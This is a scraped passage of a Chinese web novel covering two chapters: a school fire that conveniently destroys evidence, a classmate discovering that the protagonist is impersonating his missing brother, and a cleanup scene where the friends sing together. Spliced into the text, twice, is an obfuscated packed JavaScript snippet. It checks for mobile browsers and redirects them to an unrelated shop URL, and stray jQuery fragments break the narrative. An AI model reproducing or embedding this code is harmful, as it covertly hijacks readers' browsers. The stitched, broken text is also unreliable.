就在这时,从考务办公室里,传出一股浓密的烟雾。 紧接着,红彤彤的火苗,像毒蛇一般,从考务办公室里窜出。 教导主任的瞳孔骤然颤抖,一时慌了神,连忙看向学校的安保部。 “着火了!” “快对接消防栓!” “拿灭火器!” …… 考务办公室的窗户里,仍在往外翻滚着浓厚的黑烟,刺眼的火焰疯狂地舔舐着窗户玻璃。 慌乱的尖叫声响遍校园。 教导主任震惊地瞪大了眼睛,刚准备转身冲下楼去帮忙,却看到了让人摸不着头脑的一幕。 只见不久前还在办公室淡定喝茶的校长,此刻竟神速地出现在教学楼下。 校长没有丝毫的惊慌,反而有条不紊地指挥着一群提着干粉灭火器的安保人员冲进火场,其中几个还拧开了消防栓。 火势其实并不大,不到十分钟的时间,一阵微弱的白烟窜出,火势被彻底扑灭。 或许是因为平时消防演练做得勤,除了考务办公室里的所有资料被烧毁以外,其余没有任何物品受损,也没有任何人员伤亡。 教导主任呆呆地盯着对面的走廊,继续看着安保人员的一举一动。 紧接着,几个安保人员拿着黑色大口袋,一袋接着一袋,将那些被烧得面部全非的往期期末考试试卷和答题卡拖出档案室,粗暴地扔进了一楼的垃圾清运车里。 这辆垃圾清运车,早就等在了那里,正是教导主任刚才看见的那辆。 校长神色轻松地离开了,就好像他早就知道会发生什么似的。 空气中,几片破碎的纸张残骸,顺着晨风,飘到了教学楼的走廊上。 教导主任僵硬地站在走廊上,双手紧紧抓着栏杆,指关节阵阵泛白,目光跟随着校长远去的背影,却无计可施。 此时刚下早自习,所有看热闹的学生都围在了走廊上,等着第一节课的上课铃敲响。 “主任,您好。” 一个清冷又熟悉的声音,在教导主任耳边响起。 教导主任侧过头,发现申雅丽不知道什么时候已经站到了身边。 申雅丽此刻正眼神复杂地盯着远处,那辆垃圾清运车正在缓缓驶离校园。 片刻后,申雅丽开口问道:“主任,那之前说的答题卡字迹的证据……是不是一起被烧毁了?” 申雅丽又看向教导主任,一脸愁容地问道:“主任,那些物证全都没了,现在还怎么调查呀?” 教导主任艰难地微张着嘴,无奈摇了摇头,“现在还会有人想去查吗?” 说罢,教导主任转过身,目光越过教学楼,看向刚露出楼顶的刺眼阳光,叹气道:“算了吧,就算想查,估计也什么都查不到了。” 申雅丽点了点头,“明白了,那……那我就不麻烦学校了。” 教导主任无力地垂下眼眸,语重心长地说道:“回去上课吧,好孩子,还有两个多月,你们就要高考了。我呀,祝你们前程似锦。” 申雅丽疲惫的眼神里闪过一丝感恩,“我会努力的,谢谢主任。” 教导主任点了点头,伸出手,轻轻拍了拍申雅丽的右肩,拖着缓慢的步子,朝办公室走去。 申雅丽转过身,望向教导主任的背影,眼里满是复杂又心疼的神色。 一阵晨风掠过,将对面考务办公室的烟雾吹得无影无踪。 47.海棠依旧 临近中午十一点半,天朗气清。 明媚得有些炽烈的阳光,毫无保留地穿透了次卧的玻璃窗,刺眼地打在汤振的脸上。 汤振的睫毛轻微颤动了几下,缓缓睁开了眼睛,他深一口浅一口地喘着气,胸腔也随同呼吸的节奏规律地起伏,仿佛刚从一场漫长的深海溺水梦境中挣脱出来。 平躺片刻,汤振撑着柔软的床铺慢慢坐了起来,抬手想要揉一揉阵痛的太阳穴,指尖却在脸颊上触到了一片黏腻的湿润。 汤振愣神片刻,连忙用指腹在脸刮了一下,将两道尚未干涸的泪痕擦去。 “吱吖——” 次卧的房门被轻轻推开,于浩宁端着一杯冒着轻烟的热牛奶,不声不响地走到了汤振身边。 当看到汤振用手指划过脸颊上的泪痕时,于浩宁的脚步轻微顿了一下。 “哥,你醒了,”于浩宁走到床边,小心翼翼地把牛奶放在了床头柜上,目光柔和地看向汤振,开口道:“我还是第一次见你哭呢。” 汤振的脸上闪过一丝尴尬,“是吗?” 掩饰地侧过脸去,汤振干涩笑了两声,顺手扯过一张纸巾,随意在脸上擦拭了一番,继续道:“我可能……可能是做噩梦了吧。” 于浩宁忍俊不禁,坐在了汤振书桌前的椅子上,安慰道:“别哭了,快去洗漱吧,再吃点东西,准备去学校了。” 听到这话,汤振擦脸的动作僵在了半空中,他转头看向于浩宁,深邃的眼里充满了错愕,问道:“真的吗,谁说的呀?” 于浩宁眼里闪烁着光芒,笑着解释道:“教导主任已经打过电话来了,她说事情已经调查清楚,你没有责任,当然就没有被开除。主任还特意嘱咐,让你下午正常回学校上课。” 闻言,汤振心中微微一沉,但又旋即释然,在床上呆坐了片刻,脑海里还回闪着凌晨医院走廊的画面,轻微的疼痛似乎还残留在左边脸颊上。 几个小时前,汤振甚至已经做好了收拾包袱逃离的准备,但现在这些都已经过去了,事情又有了转机。 汤振缓慢地低下头,嘴角勾起一抹苦笑,“一觉睡醒后,你就跟我说这个,刚才我感觉你就像是在故意骗我一样。” “没骗你,千真万确,”于浩宁冲着床头柜上的牛奶抬了抬下巴,叮嘱道:“快起来吃点东西吧,现在已经十一点半了,吃完正好赶去学校。” 汤振没有立刻拿起那杯牛奶,只是目光深远地望向窗外。 那片湛蓝得没有一丝阴霾的晴天,将这间小小的次卧照得通透敞亮。 汤振目光呆滞地张开嘴,惆怅道:“浩宁,我觉得……我现在终于知道语文老师教的那首词,说的是一种什么感觉了。” 于浩宁愣神片刻,强忍着笑意看向汤振,问道:“哈哈,你怎么突然变得这么矫情?那你倒是说来听听看呢。” 汤振把目光从窗外收回,一字一句念道:“就是那首……昨夜雨疏风骤,浓睡不消残酒。试问卷帘人,却道海棠依旧……” 于浩宁点了点头,“嗯,当时语文老师让你鉴赏这首词,你说你也不知道。” 汤振自嘲地笑道:“但我现在大概懂了,‘昨夜雨点稀疏但风吹得猛烈,酣睡也没能让醉意消散。试问卷帘的侍女庭院里的海棠花怎么样了,她却说海棠花仍和之前一样’。” 汤振带着回忆,继续说道:“上课的时候,语文老师说,词人关心花事,却又不忍心亲眼看见花朵凋零。听到侍女的回答后,词人感到疑惑,心想,经过一夜的风吹雨打,庭院里海棠花怎么还会完好无损呢? 于浩宁缓缓点头,眼神深刻道:“所以,你也感到疑惑,你昨晚闯了那么大的祸,今天怎么会连一点惩罚都没有呢?我理解得对吗?” 汤振诚实地点了点头,“对。” 接着,汤振又打趣道:“不过,要是现在语文老师再让我做诗词鉴赏,说不定我能给她一个高分回答呢。” 于浩宁认真地看着汤振,话语里透着一股温暖:“哥,虽然昨夜确实是雨疏风骤,但好在有雅丽学姐和沈言峰遮风挡雨。” 汤振的眼波轻微闪动了一下,认真听着。 “你知道吗,”于浩宁继续解释道:“昨天傍晚,你和伍泓争执的时候,雅丽学姐一直在对面楼上用手机拍着视频,那段视频虽然模糊,但也证明了你的清白,看得出来是伍泓拉了一把你的手,故意摔下去的。” 这番话像是和煦的春风,彻底地吹散了汤振心底最后一丝阴冷的残霾。 汤振长舒了一口气,这一口气,仿佛将他这大半年来紧绷的伪装和沉重的防备,都彻底吐了个干净。 “浩宁,有时候,我觉得好累啊。” 汤振的声音变得虚弱,透着一种乏力,他静静看向坐在椅子上的于浩宁,沉声道: “你能不能坐过来,让我靠一会儿。” 于浩宁没有多说什么,从椅子上站了起来,又在汤振身边坐下。 汤振缓慢地闭上眼睛,带着微弱的泪痕,将头靠在了于浩宁右边的肩膀上。 窗外的阳光静静洒在两人身上。 在这个明媚的时刻,次卧里陷入了漫长又让人心安的沉默。 下午一点钟。 从家到浥鸣二中的路上,两旁的行道树树叶被照得翠绿透亮。 汤振和于浩宁并肩走在这条熟悉的路上,周围三三两两的行人们不断从路旁的餐馆走进又走出。 虽然中午人声嘈杂,但此刻落在汤振的耳朵里,却让他感到一种恍如隔世的平静。 两人刚走进校门,来到那片红砖小广场,便迎面遇到了申雅丽。 汤振看申雅丽的样子,像是在这里等了许久。 于浩宁懂事地看了两人一眼,冲申雅丽打了个招呼,“学姐,你们有事先聊,我就先回教室了。” 说罢,于浩宁便快步地顺着林荫大道跑开了,将这片斑驳的树荫留给了汤振和申雅丽两人。 汤振看着眼底还有些乌青的申雅丽,明白了显然她昨晚也没怎么睡好。 “申雅丽,昨天的事……多亏了你拍的视频,我才能证明自己的清白。谢谢你。”汤振开口道。 “没事,”申雅丽摇了摇头,眼底浮现一丝柔和的笑意,“其实,我也谢谢你的出现,让我高三上学期改变了许多,现在作文水平也提升了。” 听到这话,汤振的眼底泛起高兴的光芒,“是吗?上学期新换的那个语文老师,教得怎么样?” “新的语文老师很好,”申雅丽点了点头,眉宇间透着真实的欣喜,“她善于发现我们每个人的闪光点,对我的指导也很到位,我现在写作文的时候信心倍增,相比以前进步了不少呢。” 汤振欣慰地笑了笑,但旋即又认真地看着申雅丽的眼睛,鼓励道:“你也不用谢我,这一切都是你自己的功劳,你作文水平提高,是因为新老师教得好,再加上你自己刻苦勤奋,而不是因为我。还有,你能在市级艺术大赛拿冠军,也是因为你本来就具备那个实力。” 汤振看着听得认真的申雅丽,继续道:“所有美好的结果,都是你自己努力争取到的。你要对自己有信心,不用总觉得是别人偶然帮了你。” 申雅丽安静听完,认真思索了片刻,轻轻点了点头,“好吧,其实我就是不太自信,这样的性格也确实该改一改了。” 忽然,申雅丽话锋一转,关切地看向汤振,问道:“那你呢?跟伍泓彻底把脸皮撕破了,接下来你又打算怎么办?” 这句话像此刻刺眼的阳光一样,只觉得后背仿佛有轻微灼热感。 汤振的眉头拧在一起,声音里透出一股压抑的愤慨:“我犹嫌不足,既然证据确凿,凭什么伍泓没被开除?” 申雅丽无奈地叹了口气,道:“总有些七七八八的原因嘛,事情总是复杂的。” “算了,算了,”汤振冷笑一声,锐利的目光看向远处的博学楼,继续道:“反正,我大概也猜到了,无非就是因为伍泓成绩好,是年级第一,学校又刚好面临6月17号的上级视察,所以为了自己的职务和学校的名声,校长才强硬把伍泓保了下来吧?” 申雅丽点了点头,“嗯,再加上黎老师虽然受了严重的惊吓和撞击,但好在并无大碍,母女平安。所以,校长给了伍泓一个仅次于开除的‘留校察看’处分,但在我看来这也实在是轻描淡写……” “那其他证据呢,”汤振急切地追问道:“沈言峰的证词呢,还有考务办公室里以往期末考试答题卡上的字迹呢?” 听到这个问题,申雅丽的眼神忽而变得复杂,她看了看四周,压低声音道:“说起这个……你还不知道吧?今天上午早读课的时候,考务办公室,着火了。” “什么,”汤振震惊地睁大了双眼,“着火了?那以往的期末考试试卷和答题卡呢,保存下来了吗?” 申雅丽苦涩地摇了摇头,“我就是准备跟你说这个,考务办公室里的所有资料,全都被烧毁了。现在就算学校想要彻底调查,也没办法对比字迹了。” 汤振倏然僵在了原地。 但仅仅过了短暂的两秒钟,汤振便冷冷地扯了扯嘴角,眼神也变得透亮,开口道:“我猜,今天上午的火灾,应该只精准地烧毁了考务办公室的资料吧?” 申雅丽略微惊讶地看了汤振一眼,点头道:“是的,其他地方都没被烧到,只烧毁了考务办公室里的资料。” 汤振冷哼一声,继续道:“那我再猜,当时在现场指挥灭火的人,一定是校长本人吧?” 申雅丽颔首道:“是的,校长好像早有预谋一样,火灾一发生,就出现在现场,把那些烧毁的资料运走后,他就匆忙离开了。” “呵,”汤振摇了摇头,神色失望道:“看来,咱们这位校长,真的是很在意职务和学校测评了。” “我们这些普通学生也没办法插手,”申雅丽无奈地劝道:“还是好好学习吧。” 汤振呼出一口热气,点了点头,“嗯,再等两个多月,你们就要参加高考了,加油呀。” 申雅丽郑重地看向汤振,明亮的眼里似乎翻涌着复杂的情绪,她缓慢开口道:“嗯,再等两个多月,我们班就毕业了,到时候,学校里熟悉于浩磊的人就变少了……” 申雅丽的声音极轻,却像一颗致命的炸弹,“到时候,你,你也就没这么大的压力了。” 突兀的一句话,瞬间让汤振周围的空气彻底冻结。 汤振的瞳孔如地震一般,只感觉浑身的肌肉在这一刹那本能地紧绷,一种前所未有的惊骇席卷了全身。 “我,我没明白你的意思。”汤振挤出一个干涩的笑容。 申雅丽安静地看着汤振的侧脸,眼眶却迅速泛起微红。 “别的我不知道,”申雅丽摇了摇头,两行清泪止不住地顺着脸颊滴落,“但我知道,你是个善良的人,尽管你很像他,你在努力模仿他,但是,我知道,你不是他。” 汤振用力咬住了嘴唇,“原来……原来你早就看出来了。” 申雅丽用力抹去眼角的泪水,释然而苦涩地强颜欢笑道:“我,我喜欢于浩磊,默默喜欢了他一整年。虽然你很像他,但我就知道……你不是。” 汤振听得心碎,内疚地低下头,声音低沉道:“对不起……是我太自私了,让你白高兴一场,误以为他又回来了。” 申雅丽坚韧地摇了摇头,目光期盼地看向汤振,继续道:“不说这些伤感的事情了,我只希望你能好好珍惜现在拥有的一切。虽然我不知道从头到尾到底发生了什么,我也不知道你究竟是谁,但我希望你能好好的。等两个多月伍泓毕业后,你就放心在这里学习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜岩也把脖子从后桌伸过来,“不过还好,磊哥这次没受任何惩罚。” …… 汤振疲惫地摇了摇手,叮嘱大家安静下来,准备上数学课,更何况这节课还要认识一位帮班主任代课的新老师呢。 伴随着一阵沉稳的脚步声,一个夹着厚厚教案的男老师干练地走进了教室。 全班同学好奇地打量着这个陌生的面孔,只见讲台上的老师戴着大大的黑框眼镜,穿着浅蓝色的衬衫,正神采奕奕地看着全班同学。 老师把教案整整齐齐放下,拿起一截粉笔,在黑板上潇洒写下自己的姓名——“夏丞兴”。 随后,夏老师推了推鼻梁上的眼镜,那张看似古板的脸上绽放出一抹温和的笑容。 “同学们好,”老师声音洪亮,透着一股能安抚人心的力量,“我是高三年级数学组的夏老师。接下来的一段时间,由我来帮你们班主任黎老师代课。” 台下,全班同学配合地响起一阵热烈的掌声。 老师双手撑在讲桌边缘,笑道:“大家可能也听说了,虽然你们黎老师刚生完小孩,还在医院,但她心里一直惦记着大家的学习。所以啊,你们黎老师特意跟年级组要求,说希望找一个思想不那么陈旧的老师来给你们上课。” 说到这里,夏老师摊开双手,打趣地耸了耸肩,“看样子,你们黎老师是认为,我的思想还算时髦啊。” “哈哈哈哈……” 教室里响起一阵欢快的笑声,紧绷着的氛围得到了片刻的释放。 丁航举起手,起哄道:“夏老师,可是您看起来好严肃哦。” 面对调侃,夏老师非但没有发火,反而赞同地点了点头,开口道:“这位同学说得对,但是呢,我只是看起来严肃而已。” 夏老师神色坦诚,继续道:“其实啊,每次走在学校里,看到你们这群小孩子嬉笑打闹,我心里也觉得有意思,很想跟大家打成一片。但是没办法呀,我总不能嬉皮笑脸地给你们上课吧?” 夏老师生动地做了一个夸张的深呼吸,说道:“所以,每次进教室之前,我都会像这样,深呼吸一口气,然后强行板着脸,装出一副严肃的样子走进教室。” 全班同学再次被夏老师鲜活的模样逗得大笑。 坐在座位上的汤振看着讲台上的老师,嘴角也忍不住微微上扬了一下。 笑声过后,作为班长的江悦开口道:“谢谢夏老师。我们都听说了,您其实一直在带高三的尖子班。现在您抽空来带我们班,大家一定会好好跟着您学习。” 夏老师脸上的笑容收敛了几分,温和地摆了摆手,道:“其实啊,我们学校没有分什么尖子班,学校不喜欢按成绩区分班级。” 夏老师目光又扫过全班一张张稚嫩的脸庞,声音变得平和:“更何况,咱大多数人,今后都只是普通人。这就是现实。” 此话一出,原本欢腾的教室渐渐安静了下来。 汤振目光无神地看着课桌,在沉默中若有所思地点了点头。 看着教室里有些低落的氛围,夏老师无奈地拍了拍额头,笑道:“行了,行了,都怪我,你们才刚上高一,正是朝气蓬勃的时候,我实在不该打压你们的信心!那大家准备好了吗?我们要开始上课了。” 江悦迅速反应过来,大喊一声:“起立!” 全班同学整齐地站了起来,礼貌道:“老师您好。” “同学们好,”老师压了压手,示意大家坐下,翻开书道:“大家把课本翻开,这节课,我们讲幂函数……” 伴随着有节奏的粉笔敲击黑板的声音,平静的讲课声在教室里缓慢荡漾开来。 汤振安静地坐在座位上,他呆呆看着那道明亮的阳光,静谧落在他的数学课本上。 周围的一切,都是温馨的岁月静好。 汤振深邃的眼眸深处,却不受控制地翻涌起一股暗流。 眉头微微皱起,汤振心里忍不住想着:自己到底忽略了伍泓的另外一个什么细节呢?现在实在是想不起来…… 在敞亮的教室里,这个疑问就像是一根扎在汤振心底的刺,隐隐作痛,挥之不去。 48.友情乐章 5月6日下午,各年级的教室里座无虚席。 家长会一学期一次,通常在期中考试后举行,这次也不例外。 高一3班的教室里,夏老师正代替黎老师在讲台上主持着家长会,他拿着水杯,看着底下坐得满满当当的家长们,清了清嗓子。 “各位家长,今天把大家请来,有几件重要的事情要沟通,”夏老师神色温和道:“首先,下个月17号,学校将面临上级领导的视察,这关乎到咱们学校的荣誉。所以,在这段时间里,还得麻烦各位家长多费心,稍微严格一点,管教一下学生们的日常规矩。” 台下的家长们闻言,纷纷点了点头。 许艺岚坐在中间的位置上,也跟着其他家长一起认真听着。 夏老师拧开杯盖,喝了一口水,继续道:“其次,下个月底还是初三和高三年级的毕业考试时间,虽然咱们班的孩子才上高一,但也希望咱们家长能趁着这个机会,让孩子提前去感受一下备考氛围。” 看着台下家长们专注的神情,夏老师渐渐放慢了语速道:“现在的升学办法,大家也要提前了解一下。咱们高考的卷面分占比60%,而每所大学自己的入学笔试和面试成绩占比40%,所以,周末和寒暑假有空,咱们家长就可以带孩子看看不同的大学去年的分数线,以及历年不同专业的笔试面试题目,早做打算。” 这时,坐在前排的一位家长举起手,担忧地问道:“夏老师,您说的这些,我们都在网上了解过了。可现在最大的问题是,我们压根就不知道该让孩子学什么专业呀。” 其余家长也深有同感地点了点头,“是啊,是啊。” 夏老师颔首道:“确实是这样。我带过好几届高三毕业班了,很多学生直到选择高校的时候,都不知道自己到底喜欢什么。关于这点,咱们家长平时休假的时候,可以带孩子多去接触一下大自然,多走动走动,认识不同的人,做不同的事,慢慢发现一些自己的爱好。” 看着家长们认真的表情,夏老师声音顿了顿,语重心长道:“选择专业的时候,切忌好高骛远,但求稳中求进,在条件允许的情况下,尽量让孩子们去追寻热爱的专业。” 教室后门外,暮春时节的暖风轻轻拂过走廊。 江悦正靠在墙边,发梢被轻轻吹起,她透过窗户缝隙安静地听着里面的讲话,听到“追寻热爱”这四个字时,眼神微微颤动了一下。 “热爱确实重要,”江悦低着头,轻声对孟晓芸道:“如果家里人支持的话,我一定考哲学系。” 站在不远处的汤振也朝教室看了过去,身边是一脸不耐烦玩着折纸的丁航。 “夏老师在里面说什么呢?”丁航好奇心大起,小声嘀咕道。 说完,丁航便悄悄凑到教室前门外,把耳朵紧紧贴在门板上,偷听了足足一分钟。 也许是觉得一个人听着不够过瘾,丁航顺手拽住汤振的胳膊,用力朝自己那边拉了一把。 “磊哥,你也过来听听,夏老师是不是在给家长打咱们的小报告呢?”丁航悄声说道。 汤振正靠着栏杆发呆,被丁航冷不丁地一拽,身体瞬间失去平衡。 教室的老旧木质前门本就没有锁死,突然被两个男生同时撞在上面,门锁的卡扣发出“咔”一声脆响,直接脱开了。 “砰——” 伴随着一声清脆的巨响,教室前门被猛然撞开。 在全班几十位家长和夏老师错愕的目光下,汤振和丁航,以一个狗啃泥的姿势,双双摔进了教室前面的空地上。 汤振甚至因为重心不稳,还在地上打了个滚。 原本安静严肃的家长会,瞬间鸦雀无声。 许艺岚坐在人群里,惊讶地看着汤振四脚朝天的模样,一时愣住,满脸尴尬地看着夏老师。 就在大家手足无措的时候,教室前门外,传来一声中气十足的怒吼: “你俩又捣什么乱呢?” 刚好经过教室外的教导主任背着手,冷脸站在门口,目光威严地呵斥道。 汤振和丁航连忙从狼狈的姿势中翻转回来,仰视着教导主任铁青的脸。 教导主任目光扫过两人,“开个家长会,你俩还要趁机捣乱,怎么回事?” 丁航手忙脚乱从地上爬起来,连衣服上的灰都顾不得拍,满脸通红地解释道:“主任,误会,误会,我们就是路过,脚底一滑,不小心把门给推开了……” 汤振站在旁边,窘迫得恨不得当场找个地缝钻进去,只能低着头保持沉默。 教导主任瞪了两人一眼,冷哼道:“行了,家长会期间,没事少在走廊上晃悠。反正明天就是周末,今天晚上也不上晚自习,你们两个,等家长会一结束,就留下来把教室的卫生打扫一遍,清理干净再回家。” 听到这个并不算太严厉的惩罚,汤振和丁航脸上紧绷的表情顿时松弛了下来。 其余家长们也被逗乐,忍俊不禁地看着汤振和丁航走出了教室。 夏老师站在讲台上,也无奈地笑着摇了摇头。 丁航拉着汤振的胳膊,红着脸,飞快溜出了教室。 来到走廊上,汤振又拉上了于浩宁,和丁航一起直奔食堂而去。 食堂一楼是学校的小卖部,还有一半的空间放着桌子和凳子,允许学生坐着学习,闲聊或吃喝。 汤振拉上丁航和于浩宁,一人买了一桶泡面,坐在座位上等泡面泡好。 掀开锡纸盖的瞬间,一股浓郁热腾的香味扑面而来。 “快吃吧,吃完还要回教室做清洁呢。”于浩宁笑着催促两人。 汤振掰开一次性筷子,挑起一夹面条,回想起刚才在教室前门摔的那一跤,忍不住笑着摇了摇头,随后大口大口地吃了起来。 在这升腾的热气里,学习的压力似乎都被这馋涎欲滴的香气抚平了。 下午六点,家长会结束。 原本喧闹的教学楼,随着家长和走读生们的陆续离场,逐渐恢复了空旷与宁静。 高一3班的教室门口。 江悦、孟晓芸、蒋朋和姜岩四人都让各自的家长先回了家,“我们想留下来陪于浩磊和丁航打扫卫生。” 于浩宁自然也不例外,他笑着把许艺岚推到了楼梯口,“我要留下来等哥做完清洁再一起回家嘛。” 许艺岚拗不过,只好连连点头,“好吧好吧,那你们几个也别在学校玩得太晚,回家路上注意安全。” “知道了,妈。”汤振和于浩宁齐答。 等走廊上的脚步声彻底消失后,空荡荡的教室里,只剩下他们六个人。 “行啦,”江悦拍了拍手,展现出班长的统筹能力,“既然其余人都走了,刚才教导主任发话说要彻底打扫干净,那咱们现在就赶紧分工吧。” “我来拖地,”丁航自告奋勇地举起手,一把抓起教室后面的塑料水桶,笑嘻嘻地冲出了后门,“我先去厕所接水了!” “那我擦黑板。” “先用黑板擦弄干净,再用水擦,不然会留下粉笔痕迹。” “我扫地,怎么样?” “那我擦墙壁和窗户吧,我个儿高。” …… 分工很快便完成,六个人纷纷卷起袖子,在教室里忙活了起来。 整个教室渐渐变得干净透亮,瓷砖都快能当镜子用了。 丁航提着桶走了好几个来回,走廊上忽然传来一阵轻快的哼唱声。 汤振转头看向走廊,只见丁航提着大半桶水,一边走,一边哼着轻音乐调子,音准出奇的好。 于浩宁正拿着抹布擦拭讲台,听到这动静,也抬起头,看向走进教室的丁航。 汤振笑着打趣道:“没看出来啊,你平时咋咋呼呼的,在音乐方面还挺有天赋。” 丁航得意地挑了挑眉毛,把水桶放下,溅出几滴水花。 拍了拍胸脯,丁航自信开口道:“那当然了!除了唱歌,我还会吹口琴呢,只是你们平时不知道而已。” 汤振一听,顿时来了兴致,他放下抹布,靠在讲台边缘,问道:“真的假的?那你现在吹一段听听。” 丁航也一脸不服输,“行呀,反正清洁也快做完了,我就让你们开开眼界。” 其余四个人也暂时停下了手中的活儿。 丁航丝毫不怯场,拉开自己的书包拉链,在里面摸索了一下,便掏出一个泛着银色金属光泽的小型口琴。 丁航将口琴放在唇边,轻轻吹了一口气试了试音,随后,他闭上眼睛,嘴唇灵巧地在口琴上滑动。 一阵悠扬纯净而又带着几分复古韵味的乐声,在空旷的教室里飘荡开来。 这是一首西方民谣的曲子,旋律舒缓而深情。 江悦听得入迷,忍不住赞叹,“吹得真好。” 汤振起哄道:“没想到你这书包里宝贝还挺多,又是藏手机,又是藏口琴的。” 这时,在教室后面扫地的孟晓芸也被声音吸引了过来。 见大家都聚集在一起,江悦眼睛一亮,忽然开口道:“于浩宁,把你手里的扫把给我!” 江悦接过于浩宁递来的扫把,随后一把拿来丁航手中的拖把,像是握着立式麦克风的支架一样,挺直了身子,站在过道中央。 于浩宁愣了一下,随即反应过来,笑着又拿了一把干净的扫把,横抱在胸前,做出弹吉他的样子。 姜岩和蒋朋见状,也纷纷凑起了热闹,从教室后面的储物堆里翻出两把羽毛球拍,一人拿着一把,学着摇滚乐手的样子,疯狂扫弦。 “还缺个打架子鼓的。”丁航放下了口琴,大声喊着。 汤振会心一笑,走下讲台,一口气搬了三张课桌拼在一起,随后,顺手拿出两个乒乓球拍,当做鼓槌,在桌面上敲击出节奏感十足的“咚咚”声。 “预备——起!” 江悦温和地笑了笑,喊了一声节拍。 丁航再次吹响口琴,经典的旋律似乎也被他吹出了几分欢快的摇滚味道。 在汤振用乒乓球拍敲出的鼓点声中,其余几人拿着拖把、扫帚和羽毛球拍,齐声高唱起来。 不同的声音,霎时交织重叠在了一起,清脆中夹杂着浑厚: 我们也曾 整日徜徉 在故乡的青山上 旧日朋友 怎能相忘 友谊地久天长 …… 未经雕琢的歌声,虽然有些参差不齐,但也掩盖不住这鲜活的生命力。 此时,黄昏的余晖恰好倾斜成一个完美的角度,穿透教室的玻璃窗,温柔地照进教室。 那是几束浓郁的橘红色光芒,如同熔化了的黄金,柔和地铺洒在地面上,铺洒在排列整齐的课桌上,让整个教室镀上一层温暖怀旧的滤镜。 窗外晚风轻拂,将教室里的窗帘吹得高高扬起,像是一张迎风的帆。 暖风穿过课桌,拂动着江悦和孟晓芸耳边的碎发,也吹起了汤振和于浩宁宽松的校服衣角,笑容在每一个人的脸上肆意绽放。 一曲唱罢。 几个人都有些气喘吁吁,但随后又相视大笑了起来。 汤振把手里的乒乓球拍放了回去,看着丁航道:“吹得确实不错,今年的毕业晚会,咱们班要不也出个节目吧?” “可以的呀。”江悦捋了捋头发,爽快地回应道。 “啾——啾——” 就在这时,教室外传来几声清脆的鸟啼。 大家停下了手里的动作,默契地来到走廊上,循着声音向外望去。 整个校园安静得不可思议,操场上空无一人。 远处的建筑,在夕阳的勾勒下,也只剩一道暗灰色的静谧轮廓。 “好像学校里只剩下我们几个了。”蒋朋趴在栏杆上,轻声说道。 姜岩点了点头,望着远处被晚霞染红的天际线,感叹道:“是啊,好难得能这么仔细地看一看学校。平时每天上课做题,低着头赶路,都没注意过咱们学校竟然这么美。” 孟晓芸一手托着下巴,一手撑在栏杆上,语气里带着若有若无的怅惘:“时间过得真快,再等两个月,高一这一年就过去了。” 于浩宁转过头看了一眼身后,那是刚开完家长会的教室,空空如也,被他们打扫得一尘不染。 于浩宁喃喃自语道:“不知道那些家长今天坐在教室里的时候,都在想些什么。” 汤振站在一旁,目光看着远处的夕阳,头也不回地答道:“他们可能也会想起自己的学生时代吧。” 说话的声音很轻,仿佛怕惊扰了这份宁静。 夕阳渐渐西沉。 “走吧,回家啦。”江悦轻轻拍了拍手。 大家顺着楼梯小跑下去,有说有笑,打闹着跑出了教学楼。 黄昏将绿茵场上的草尖照得泛起点点光影。 林荫大道上,六个穿着校服的身影,时而肩并着肩,时而你追我赶,朝着校门的方向奔去。 落日的余晖将他们的影子拉得颀长,那些影子随着他们不断变换的动作,在暖风中交叠摇曳。 温柔的晚霞铺满天空,给水泥路面上的石子和沙粒也镀上了一层微光,歌声仿佛还在暖风中回响: 我们也曾 整日徜徉 在故乡的青山上 旧日朋友 怎能相忘 友谊地久天长 …… 第二天,刚好是星期六。 早上七点,家里的厨房弥漫着一股淡淡的香味。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610968|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 许艺岚今天难得没有前往公司加班,本打算早点起床做顿丰盛的早饭,但当她刚走到厨房门口时,却稍微被厨房的景象惊到。 煤气灶的火苗在欢快地跳跃着,于浩宁生疏又专注地拿着锅铲,在平底锅里翻煎着两个荷包蛋。 虽然把蛋的边缘都煎得有些焦糊了,但于浩宁那副全神贯注的模样却像个成熟的大人。 许艺岚靠在门框上,看着厨房里那略显单薄的背影,露出了欣慰的笑意,忍不住开口提醒道: “火稍微关小一点儿,不然蛋黄容易老。” 于浩宁被突然出现的声音一惊,连忙回过头,冲许艺岚笑了一下。 汤振睡眼惺忪地和许艺岚打完招呼,便自然地走进厨房,走到于浩宁身边,顺手调小了煤气灶的火力,从旁边的案板上拿起两片吐司,放进了面包机。 “你醒啦,”于浩宁转过头,扬了扬手里的锅铲,“我这煎蛋的技术怎么样?” “勉强及格。”汤振打趣了一句,转身从冰箱里拿出果汁,开始往玻璃杯里倒。 早饭做好后,许艺岚将各式各样的盘子和碗尽数端上了餐桌,朝两人道:“快去推你们爸来吃早饭吧。” 客厅里,早晨的鸟啼声声传入。 于强半靠在轮椅上,面色红润。 许艺岚将于强推倒餐桌前,好在于强除了腿伤以外,其他身体活动一切正常。 “慢点喝,爸,小心烫。”汤振提醒道。 于强咽下一口粥,转头看向坐在旁边的汤振,眼里闪烁着几分清亮,“好。” “好。” 于强嘴唇微动,有些吃力,但却十分清晰地说出了这个字。 “爸今天说得好清晰啊。”于浩宁惊喜道。 于强看着汤振,再次开口道:“浩……磊。” 汤振分不清于强说的到底是“好”还是“浩”,但心里仍感到欣慰,对于一个脑部受伤,患有失语症和失忆症的人来说,这已经是明显的好转了。 汤振轻轻握住于强的左手,笑道:“爸,我挺好的,你也要赶紧好起来。” 看到这一幕,于浩宁像是突然想起了什么,他兴奋地跑到客厅储物架旁,没过多久,拿了两个相框跑回来。 “爸,你看。”于浩宁把相框递到于强面前。 左边的相框里,是一张有些泛黄的旧照片,那是几年前一家四口在游乐园的合影,照片里,真正的于浩磊正搭着于浩宁的肩膀,笑得一脸开朗。 右边的相框里,是他们二月份去含岭市的合影,照片里,汤振穿着沙滩裤,一脸拘谨地冲着镜头微笑。 